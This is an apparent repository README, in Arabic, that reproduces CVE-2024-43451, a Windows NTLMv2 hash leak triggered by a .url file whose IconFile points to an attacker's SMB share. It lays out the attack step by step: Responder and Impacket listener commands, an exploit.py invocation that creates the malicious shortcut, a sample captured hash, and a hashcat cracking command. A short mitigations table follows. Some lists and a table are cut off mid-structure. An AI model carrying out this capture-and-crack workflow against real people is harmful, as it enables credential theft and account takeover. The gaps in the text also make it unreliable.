
إعادة إنتاج CVE: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 هي ثغرة كشف تجزئة NTLMv2 والانتحال في ويندوز. تتيح لمهاجم بعيد غير مصادق تسريب تجزئة NTLM الخاصة بالضحية عبر إقناعها بالتفاعل مع ملف اختصار .url خبيث. يتم استغلال الثغرة بأقل قدر من تفاعل المستخدم — بمجرد النقر بزر الماوس الأيمن، أو حذف الملف، أو نقله يكفي لتسريب التجزئة. تحمل درجة CVSS تبلغ 6.5 (متوسطة) وقد تم استغلالها بنشاط في البرية. أضافها CISA إلى كتالوج الثغرات المستغلة المعروفة (KEV).
NTLM (NT LAN Manager) هو بروتوكول مصادقة قائم على التحدي والاستجابة تستخدمه ويندوز. عندما يحاول عميل الوصول إلى مورد عبر SMB، يقوم العميل والخادم بإجراء مصافحة:
NEGOTIATE_MESSAGE تحتوي على القدرات المدعومة.CHALLENGE_MESSAGE تحتوي على رقم عشوائي (nonce) من 8 بايت (تحدي الخادم).AUTHENTICATE_MESSAGE تحتوي على تجزئة NTLMv2 — وهي HMAC-MD5 للتحدي مدمجة مع تجزئة كلمة مرور المستخدم واسم المستخدم والمجال.إذا تمكّن المهاجم من مراقبة أو تحفيز محاولة مصادقة NTLM إلى جهاز يتحكم به، يمكن كسر رسالة AUTHENTICATE_MESSAGE الملتقطة دون اتصال لاستعادة كلمة المرور النصية.
ملف .url هو ملف اختصار تستخدمه إنترنت إكسبلورر ومستكشف ويندوز لتخزين الروابط. وهو ملف بتنسيق INI يحتوي على قسم [InternetShortcut]. الحقول الحرجة للاستغلال هي:
URL= — عنوان URL الهدف الذي سيفتحه ويندوز.IconFile= — مسار UNC اختياري لمورد الأيقونة. عندما يعرض مستكشف ويندوز الملف، فإنه يحاول تلقائيًا استرداد الأيقونة من المشاركة البعيدة، مما يؤدي إلى إطلاق محاولة مصادقة NTLM إلى خادم المهاجم.ينشئ المهاجم ملف .url بمعامل IconFile يشير إلى \\attacker-ip\share\icon.ico. عندما تقوم الضحية بـ:
يحاول مستكشف ويندوز تحميل الأيقونة من مسار UNC، مما يرسل تجزئة NTLMv2 الخاصة بالضحية إلى مستمع SMB الخاص بالمهاجم (مثل Responder).
جميع الإصدارات المدعومة من ويندوز قبل تحديث Patch Tuesday لشهر نوفمبر 2024:
باستخدام Responder:
sudo responder -I eth0 -v
أو باستخدام Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
أي من الإجراءات التالية يؤدي إلى تسريب التجزئة:
يستقبل مستمع SMB الخاص بالمهاجم تجزئة NTLMv2:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
يمكن استخدام smbserver.py لاستضافة مشاركة SMB بسيطة |
| Inveigh | أداة التقاط NTLM مبنية على PowerShell لويندوز |
| الإجراء الوقائي | الوصف |
|---|
| تطبيق تصحيح نوفمبر 2024 | تثبيت التحديث الأمني من مايكروسوفت من KB5044285 |
| حظر SMB الصادر (المنفذ 445) | منع تجزئات NTLM من مغادرة محيط الشبكة |
| تعطيل NTLM حيثما أمكن | استخدام مصادقة Kerberos فقط |
| تفعيل توقيع SMB | يمنع هجمات إعادة التوجيه حتى لو تم التقاط التجزئات |
| تدريب المستخدمين على الوعي الأمني | توعية المستخدمين بعدم التفاعل مع ملفات .url غير متوقعة |
| تقييد التعامل مع ملفات .url | استخدام نهج المجموعة لحظر تشغيل ملفات .url أو تسليمها عبر البريد الإلكتروني |